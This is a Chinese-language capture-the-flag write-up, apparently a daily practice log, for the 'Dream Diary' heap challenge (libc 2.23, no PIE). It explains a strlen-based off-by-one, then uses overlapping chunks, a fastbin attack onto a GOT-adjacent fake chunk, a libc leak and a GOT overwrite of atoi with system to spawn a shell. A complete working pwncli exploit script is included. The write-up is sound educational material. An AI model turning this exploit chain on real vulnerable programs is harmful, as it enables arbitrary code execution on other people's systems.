前言
每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!
今天是第1天,希望能坚持下去
题目情况
Hint: Xenial Xerus
这是ubuntu16.04lts的代号,意味着适用2.23的libc
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
逆向分析
菜单题:
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int choose; // eax
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[1] = __readfsqword(0x28u);
buf[0] = 0LL;
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
choose = atoi((const char *)buf);
if ( choose != 2 )
break;
edit(buf, buf); // 2
}
if ( choose > 2 )
{
if ( choose == 3 )
{
del(buf, buf); // 3
}
else
{
if ( choose == 4 )
exit(0);
LABEL_13:
puts("Invalid choice!");
}
}
else
{
if ( choose != 1 )
goto LABEL_13;
add(buf, buf); // 1
}
}
}
运行起来是这样的菜单:
+------------------------------+
| Dream Diary |
+------------------------------+
| [1] Allocate |
| [2] Edit |
| [3] Delete |
| [4] Exit |
+------------------------------+
>>
选项1:Allocate
unsigned __int64 sub_4009A8()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
*(_QWORD *)nptr = 0LL;
for ( i = 0; ; ++i )
{
if ( i > 15 ) // 最多15个
{
puts("Too many notes!");
return __readfsqword(0x28u) ^ v4;
}
if ( !(&ptr)[i] )
break;
}
printf("\nSize: ");
read_(nptr, 6LL);
size = atoi(nptr);
(&ptr)[i] = (char *)malloc(size); // 申请内存
if ( !(&ptr)[i] )
{
puts("Malloc error!");
exit(-1);
}
printf("Data: ");
read_((&ptr)[i], size); // 写入数据,无溢出
puts("Success!");
return __readfsqword(0x28u) ^ v4;
}
申请内存,指定大小,填充数据,无溢出
选项2:edit:
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
size_t v2; // [rsp+8h] [rbp-18h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( v1 < 0x10 )
{
if ( (&ptr)[v1] )
{
v2 = strlen((&ptr)[v1]); // 计算原本的长度
printf("Data: ");
read_((&ptr)[v1], v2); // 写入数据,长度上限是原本的长度
puts("Done!");
}
else
{
puts("No UAF for you!");
}
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v4;
}
编辑操作使用的长度来自strlen的结果,假定数据是满的,strlen会计算到next chunk size字段,导致1字节溢出
选项3:del:
unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
__int64 buf; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
buf = 0LL;
printf("Index: ");
read(0, &buf, 4uLL);
v1 = atoi((const char *)&buf);
if ( v1 < 0x10 )
{
if ( (&ptr)[v1] )
{
free((&ptr)[v1]); // 释放内存
(&ptr)[v1] = 0LL; // 指针清空,不存在UAF和double-free
puts("Done!");
}
else
{
puts("No double-free for you!");
}
}
else
{
puts("Out of bounds!");
}
return __readfsqword(0x28u) ^ v3;
}
这里会清空指针,没有UAF和Double-free了
利用分析
当前状况分析:
- 程序使用 libc 2.23,存在Hook可以打
- 问题是 off by one,可以通过某种 off by one 的技巧创造出重叠 chunk(方法不唯一)
- 程序没有PIE,指针数组地址已知
- 没有FULL RELRO,got可改
- 没有输出函数,无法得到地址泄露
计划制定
第一步:指针数组位于0x0000000006020c0,上面就是got表,存在fake fastbin chunk 的条件,申请走fake fastbin chunk,从而控制指针数组
pwndbg> dq 0x602010 30
0000000000602010 00007ff9258de150 00007ff9257aa31a
0000000000602020 00007ff92579926f 00007ff9257af1e0
0000000000602030 0000000000400706 00007ff925780914
0000000000602040 00007ff9258084c0 00007ff9257532e1
0000000000602050 00007ff9257a9cd3 00007ff9257999c5
0000000000602060 00007ff925765fcb 0000000000400776
0000000000602070 0000000000000000 0000000000000000
0000000000602080 00007ff9258c3620 0000000000000000
0000000000602090 00007ff9258c28e0 0000000000000000
00000000006020a0 00007ff9258c3540 0000000000000000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000002458010 0000000000000000
00000000006020d0 0000000000000000 0000000002458180
00000000006020e0 0000000000000000 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
fake chunk:
Fake chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x60209d
prev_size: 0xf9258c3540000000
size: 0x78 (with flag bits: 0x7f)
fd: 0x00
bk: 0x00
fd_nextsize: 0x2458010000000
bk_nextsize: 0x00
打hook需要完成libc地址泄露,got可修改这个条件就可以用上了,能控制指针数组,就能任意地址写,那么就暂时不需要free了
第二步,打got,将free改成puts先用用
指针数组是可控的,那这随便就泄露出libc地址了,接下来就是打hook环节
第三步:打hook,drop shell
辅助函数
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int, data:bytes):
global index , i
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int, data:bytes):
cmd('2')
sla(b"Index: ",str(idx).encode())
sla(b"Data: ",data)
#......
def dele(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
def exit():
cmd('4')
#......
house of spirit:创造重叠块
add(0x78,cyclic(0x78)) #0
add(0x78,cyclic(0x78)) #1
add(0x68,cyclic(0x68)) #2
add(0x18,cyclic(0x18)) #3
edit(0,cyclic(0x78) + p8(0xf1))
dele(1)
dele(2)
默认最大的fastbin chunk是0x68申请出来的,0x78申请出来的会进入unsortedbin
这里申请4个chunk,其中chunk0溢出1字节,将chunk1的大小修改为能刚好覆盖chunk2,chunk3用于分隔top chunk
此时的堆:
pwndbg> vis
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
0x11a6000 0x0000000000000000 0x0000000000000081 ................
0x11a6010 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x11a6020 0x6161616661616165 0x6161616861616167 eaaafaaagaaahaaa
0x11a6030 0x6161616a61616169 0x6161616c6161616b iaaajaaakaaalaaa
0x11a6040 0x6161616e6161616d 0x616161706161616f maaanaaaoaaapaaa
0x11a6050 0x6161617261616171 0x6161617461616173 qaaaraaasaaataaa
0x11a6060 0x6161617661616175 0x6161617861616177 uaaavaaawaaaxaaa
0x11a6070 0x6261617a61616179 0x6261616362616162 yaaazaabbaabcaab
0x11a6080 0x6261616562616164 0x00000000000000f1 daabeaab........ <-- unsortedbin[all][0]
0x11a6090 0x00007f4213821b78 0x00007f4213821b78 x...B...x...B...
0x11a60a0 0x6161616661616165 0x6161616861616167 eaaafaaagaaahaaa
0x11a60b0 0x6161616a61616169 0x6161616c6161616b iaaajaaakaaalaaa
0x11a60c0 0x6161616e6161616d 0x616161706161616f maaanaaaoaaapaaa
0x11a60d0 0x6161617261616171 0x6161617461616173 qaaaraaasaaataaa
0x11a60e0 0x6161617661616175 0x6161617861616177 uaaavaaawaaaxaaa
0x11a60f0 0x6261617a61616179 0x6261616362616162 yaaazaabbaabcaab
0x11a6100 0x6261616562616164 0x0000000000000071 daabeaabq....... <-- fastbins[0x70][0]
0x11a6110 0x0000000000000000 0x6161616461616163 ........caaadaaa
0x11a6120 0x6161616661616165 0x6161616861616167 eaaafaaagaaahaaa
0x11a6130 0x6161616a61616169 0x6161616c6161616b iaaajaaakaaalaaa
0x11a6140 0x6161616e6161616d 0x616161706161616f maaanaaaoaaapaaa
0x11a6150 0x6161617261616171 0x6161617461616173 qaaaraaasaaataaa
0x11a6160 0x6161617661616175 0x6161617861616177 uaaavaaawaaaxaaa
0x11a6170 0x00000000000000f0 0x0000000000000020 ........ .......
0x11a6180 0x6161616261616161 0x6161616461616163 aaaabaaacaaadaaa
0x11a6190 0x6161616661616165 0x0000000000020e71 eaaafaaaq....... <-- Top chunk
得到一个被unsortedbin chunk覆盖的fastbin chunk
hijack ptr array & leak libc address
接下来,修改fd指向got那里创造出来的fake chunk
ptr = flat(
cyclic(0x8),
pack(elf.got.free),
pack(elf.got.puts),
pack(0x6020c0)
)
add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d)) # 1
add(0x68,cyclic(0x68)) # 2
add(0x68,p8(0)*0x13 + ptr) # 4
edit(1,pack(elf.plt.puts))
dele(2)
leak = ru(b"\x0aDone!")
leak = unpack(leak[:-6],"all")
success(f"leak: {hex(leak)}")
libc.address = leak - libc.sym.puts
success(f"libc.address: {hex(libc.address)}")
申请一个0xe8把unsortedbin 完整申请走,向fastbin chunk.next写入fake chunk address
申请走之后,覆盖ptr指针数组
这里前8字节写入杂乱数据,是为了保留这个区域可以再次被修改,因为edit选项是基于对目标地址strlen获取长度来写入数据的
然后要保留一份方便再次修改的该数组
修改elf.got.free为elf.plt.puts,拿到libc地址泄露
drop shell
# drop shell
ptr = flat(
pack(elf.got.atoi),
)
edit(3,ptr)
edit(0,pack(libc.sym.system))
cmd(b"sh")
最后drop shell的方法有很多,最简单的方法就是直接通过elf.got来劫持函数执行
有了libc地址泄露,可以劫持atoi为system,然后在输入选项的时候,输入bash字符即可(因为调用atoi之前的read函数接受6个字符的输入)
或者使用one_gadget也行,或者打io也行不过就比较麻烦了
完整exp
#!/usr/bin/env python3
# Date: 2024-10-23 21:58:41
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int, data:bytes):
global index , i
cmd('1')
sla(b"Size: ",str(sz).encode())
sla(b"Data: ",data)
#......
def edit(idx:int, data:bytes):
cmd('2')
sla(b"Index: ",str(idx).encode())
sla(b"Data: ",data)
#......
def dele(idx: int):
cmd('3')
sla(b"Index: ",str(idx).encode())
#......
def exit():
cmd('4')
#......
# house of spirit
add(0x78,cyclic(0x78)) #0
add(0x78,cyclic(0x78)) #1
add(0x68,cyclic(0x68)) #2
add(0x18,cyclic(0x18)) #3
edit(0,cyclic(0x78) + p8(0xf1))
dele(1)
dele(2)
# fastbin attack
ptr = flat(
cyclic(0x8),
pack(elf.got.free),
pack(elf.got.puts),
pack(0x6020c0)
)
add(0xe8,cyclic(0x78) + pack(0x71) + pack(0x60209d)) # 1
add(0x68,cyclic(0x68)) # 2
add(0x68,p8(0)*0x13 + ptr) # 4
# edit free to puts & leak libc
edit(1,pack(elf.plt.puts))
dele(2)
leak = ru(b"\x0aDone!")
leak = unpack(leak[:-6],"all")
success(f"leak: {hex(leak)}")
libc.address = leak - libc.sym.puts
success(f"libc.address: {hex(libc.address)}")
# drop shell
ptr = flat(
pack(elf.got.atoi),
)
edit(3,ptr)
edit(0,pack(libc.sym.system))
cmd(b"sh")
ia()
总结
本练习相关的知识:
-
off by one 创造重叠块
- Fastbin Attack
- Hijack Elf GOT
参考资料